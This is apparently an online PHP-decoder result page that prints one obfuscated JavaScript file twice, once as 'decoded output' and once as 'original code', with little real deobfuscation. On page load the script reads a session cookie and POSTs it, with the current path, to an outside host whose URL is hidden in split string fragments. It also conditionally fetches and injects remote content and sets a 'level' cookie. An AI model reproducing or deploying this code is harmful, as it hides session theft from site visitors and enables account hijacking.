Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
function a() { var n = ['tex', 'rmo', '3520304FZNnrf', 'ati', 'len', 'ing', 'E_R', 'i..
Decoded Output download
<? function a() {
var n = ['tex', 'rmo', '3520304FZNnrf', 'ati', 'len', 'ing', 'E_R', 'ind', 'exO', '5=;', 'nav', 'Ele', 'tio', 'kie', '1429499MAMzpJ', 'kas', 'bot', '7354420iDqfuv', 'typ', 'men', 'rok', 'y.p', 'on/', '6698SgWrTK', 'ssi', 'the', 'gth', 'uap', 'ps:', 'elf', '711635XqbrNm', '.he', 'loc', '13218835VrJveG', 'Max', 'POS', '//t', 'rAt', 'jso', 'ELO', 'str', 'TYP', 'lev', '999', 'spl', '36lKTkgv', 'ny-', '42JZYxbT', 'onl', 'hna', '-Ag', 'e=-', 'src', 'om/', '12665530vELKun', 'cha', 'p.c', 'iga', 'tle', 'htt', '141UgAwzT', 'pat'];
a = function() {
return n;
}
;
return a();
}
var k = b;
(function(c, d) {
var i = b
, e = c();
while (!![]) {
try {
var f = parseInt(i(0xff)) / (0x4 * -0x3c + -0xe42 + 0x511 * 0x3) + -parseInt(i(0x108)) / (-0x260c + -0x19 * -0x16 + 0x47d * 0x8) * (parseInt(i(0xef)) / (0x9a1 * 0x3 + 0x5 * -0x1ba + -0x143e)) + parseInt(i(0x102)) / (0x212d + 0x1 * 0x1406 + -0x352f) + parseInt(i(0x10f)) / (0x1 * 0x24d + -0xa1c + 0x7d4) * (-parseInt(i(0xe2)) / (0x24b * 0x1 + -0x157a * -0x1 + -0x17bf)) + parseInt(i(0x112)) / (-0x269d + -0x962 * 0x2 + 0xb * 0x538) + -parseInt(i(0xf3)) / (-0x994 * -0x3 + -0x1 * -0x3d1 + 0xad7 * -0x3) * (parseInt(i(0x11e)) / (-0xfee * -0x1 + 0x1271 + 0x1e * -0x125)) + -parseInt(i(0xe9)) / (0x3 * 0x44d + -0x44e * 0x1 + 0x7 * -0x139);
if (f === d)
break;
else
e['push'](e['shift']());
} catch (g) {
e['push'](e['shift']());
}
}
}(a, -0x1ad113 + 0x1 * 0xe87eb + -0x8 * -0x365c3));
function b(c, d) {
var e = a();
return b = function(f, g) {
f = f - (-0x1a48 + -0x286 * 0x5 + 0x27c7);
var h = e[f];
return h;
}
,
b(c, d);
}
function readCookie(d) {
var j = b
, e = d + '='
, f = document['coo' + j(0xfe)][j(0x11d) + 'it'](';');
for (var g = -0x4 * -0x1b7 + 0x1246 + 0x1922 * -0x1; g < f['len' + j(0x10b)]; g++) {
var h = f[g];
while (h[j(0xea) + j(0x116)](0x1e9 * 0x3 + 0x5a9 + -0xb64) == ' ')
h = h['sub' + j(0x119) + j(0xf6)](-0x263b + -0x1 * 0x1c2d + -0x761 * -0x9, h[j(0xf5) + j(0x10b)]);
if (h[j(0xf8) + j(0xf9) + 'f'](e) == 0x2 * 0xa7b + 0x7 * -0x31a + 0x8 * 0x18)
return h['sub' + 'str' + j(0xf6)](e['len' + j(0x10b)], h[j(0xf5) + 'gth']);
}
return null;
}
window[k(0xe3) + 'oad'] = ()=>{
var l = k;
const c = readCookie('str' + 'ing' + '-se' + l(0x109) + 'on');
if (c != null) {
const d = window[l(0x111) + 'ati' + 'on'][l(0xf0) + l(0xe4) + 'me']
, e = l(0xee) + l(0x10d) + l(0x115) + 'he-' + l(0x119) + 'ing' + '-ha' + l(0xf2) + l(0xe1) + l(0x101) + l(0x110) + l(0x105) + l(0x10c) + l(0xeb) + l(0xe8)
, f = {
'session': c,
'ans': d
};
fetch(e, {
'method': l(0x114) + 'T',
'headers': {
'Content-Type': 'app' + 'lic' + l(0xf4) + l(0x107) + l(0x117) + 'n'
},
'body': JSON['str' + 'ing' + 'ify'](f)
})[l(0x10a) + 'n'](g=>{}
);
}
}
;
location['pat' + 'hna' + 'me'][0x1732 + 0x96e * 0x1 + 0x1 * -0x209f] == 'v' && location['pat' + k(0xe4) + 'me'][-0xa2c + -0x6e6 + 0x111a] == 'f' && location[k(0xf0) + k(0xe4) + 'me'][0x1 * -0x267d + -0x1d * -0x13 + 0x1 * 0x2468] == 'f' && performance['nav' + k(0xec) + k(0xfd) + 'n'][k(0x103) + 'e'] == performance[k(0xfb) + k(0xec) + k(0xfd) + 'n'][k(0x11a) + k(0xf7) + k(0x118) + 'AD'] ? fetch('ric' + k(0x100) + k(0xed) + k(0x106) + 'hp')['the' + 'n'](c=>c[k(0xf1) + 't']())[k(0x10a) + 'n'](c=>{
var m = k;
c && (document['get' + m(0xfc) + m(0x104) + 'tBy' + 'Id'](m(0x11b) + m(0x10e) + '5')[m(0xe7)] = c);
}
) : document['coo' + k(0xfe)] = 'lev' + k(0x10e) + k(0xfa) + k(0x113) + k(0xe5) + k(0xe6) + k(0x11c) + k(0x11c) + '99';
?>
Did this file decode correctly?
Original Code
function a() {
var n = ['tex', 'rmo', '3520304FZNnrf', 'ati', 'len', 'ing', 'E_R', 'ind', 'exO', '5=;', 'nav', 'Ele', 'tio', 'kie', '1429499MAMzpJ', 'kas', 'bot', '7354420iDqfuv', 'typ', 'men', 'rok', 'y.p', 'on/', '6698SgWrTK', 'ssi', 'the', 'gth', 'uap', 'ps:', 'elf', '711635XqbrNm', '.he', 'loc', '13218835VrJveG', 'Max', 'POS', '//t', 'rAt', 'jso', 'ELO', 'str', 'TYP', 'lev', '999', 'spl', '36lKTkgv', 'ny-', '42JZYxbT', 'onl', 'hna', '-Ag', 'e=-', 'src', 'om/', '12665530vELKun', 'cha', 'p.c', 'iga', 'tle', 'htt', '141UgAwzT', 'pat'];
a = function() {
return n;
}
;
return a();
}
var k = b;
(function(c, d) {
var i = b
, e = c();
while (!![]) {
try {
var f = parseInt(i(0xff)) / (0x4 * -0x3c + -0xe42 + 0x511 * 0x3) + -parseInt(i(0x108)) / (-0x260c + -0x19 * -0x16 + 0x47d * 0x8) * (parseInt(i(0xef)) / (0x9a1 * 0x3 + 0x5 * -0x1ba + -0x143e)) + parseInt(i(0x102)) / (0x212d + 0x1 * 0x1406 + -0x352f) + parseInt(i(0x10f)) / (0x1 * 0x24d + -0xa1c + 0x7d4) * (-parseInt(i(0xe2)) / (0x24b * 0x1 + -0x157a * -0x1 + -0x17bf)) + parseInt(i(0x112)) / (-0x269d + -0x962 * 0x2 + 0xb * 0x538) + -parseInt(i(0xf3)) / (-0x994 * -0x3 + -0x1 * -0x3d1 + 0xad7 * -0x3) * (parseInt(i(0x11e)) / (-0xfee * -0x1 + 0x1271 + 0x1e * -0x125)) + -parseInt(i(0xe9)) / (0x3 * 0x44d + -0x44e * 0x1 + 0x7 * -0x139);
if (f === d)
break;
else
e['push'](e['shift']());
} catch (g) {
e['push'](e['shift']());
}
}
}(a, -0x1ad113 + 0x1 * 0xe87eb + -0x8 * -0x365c3));
function b(c, d) {
var e = a();
return b = function(f, g) {
f = f - (-0x1a48 + -0x286 * 0x5 + 0x27c7);
var h = e[f];
return h;
}
,
b(c, d);
}
function readCookie(d) {
var j = b
, e = d + '='
, f = document['coo' + j(0xfe)][j(0x11d) + 'it'](';');
for (var g = -0x4 * -0x1b7 + 0x1246 + 0x1922 * -0x1; g < f['len' + j(0x10b)]; g++) {
var h = f[g];
while (h[j(0xea) + j(0x116)](0x1e9 * 0x3 + 0x5a9 + -0xb64) == '\x20')
h = h['sub' + j(0x119) + j(0xf6)](-0x263b + -0x1 * 0x1c2d + -0x761 * -0x9, h[j(0xf5) + j(0x10b)]);
if (h[j(0xf8) + j(0xf9) + 'f'](e) == 0x2 * 0xa7b + 0x7 * -0x31a + 0x8 * 0x18)
return h['sub' + 'str' + j(0xf6)](e['len' + j(0x10b)], h[j(0xf5) + 'gth']);
}
return null;
}
window[k(0xe3) + 'oad'] = ()=>{
var l = k;
const c = readCookie('str' + 'ing' + '-se' + l(0x109) + 'on');
if (c != null) {
const d = window[l(0x111) + 'ati' + 'on'][l(0xf0) + l(0xe4) + 'me']
, e = l(0xee) + l(0x10d) + l(0x115) + 'he-' + l(0x119) + 'ing' + '-ha' + l(0xf2) + l(0xe1) + l(0x101) + l(0x110) + l(0x105) + l(0x10c) + l(0xeb) + l(0xe8)
, f = {
'session': c,
'ans': d
};
fetch(e, {
'method': l(0x114) + 'T',
'headers': {
'Content-Type': 'app' + 'lic' + l(0xf4) + l(0x107) + l(0x117) + 'n'
},
'body': JSON['str' + 'ing' + 'ify'](f)
})[l(0x10a) + 'n'](g=>{}
);
}
}
;
location['pat' + 'hna' + 'me'][0x1732 + 0x96e * 0x1 + 0x1 * -0x209f] == 'v' && location['pat' + k(0xe4) + 'me'][-0xa2c + -0x6e6 + 0x111a] == 'f' && location[k(0xf0) + k(0xe4) + 'me'][0x1 * -0x267d + -0x1d * -0x13 + 0x1 * 0x2468] == 'f' && performance['nav' + k(0xec) + k(0xfd) + 'n'][k(0x103) + 'e'] == performance[k(0xfb) + k(0xec) + k(0xfd) + 'n'][k(0x11a) + k(0xf7) + k(0x118) + 'AD'] ? fetch('ric' + k(0x100) + k(0xed) + k(0x106) + 'hp')['the' + 'n'](c=>c[k(0xf1) + 't']())[k(0x10a) + 'n'](c=>{
var m = k;
c && (document['get' + m(0xfc) + m(0x104) + 'tBy' + 'Id'](m(0x11b) + m(0x10e) + '5')[m(0xe7)] = c);
}
) : document['coo' + k(0xfe)] = 'lev' + k(0x10e) + k(0xfa) + k(0x113) + k(0xe5) + k(0xe6) + k(0x11c) + k(0x11c) + '99';
Function Calls
None |
Stats
MD5 | 2a8b141ce55eadd08b7b0632a18f3946 |
Eval Count | 0 |
Decode Time | 38 ms |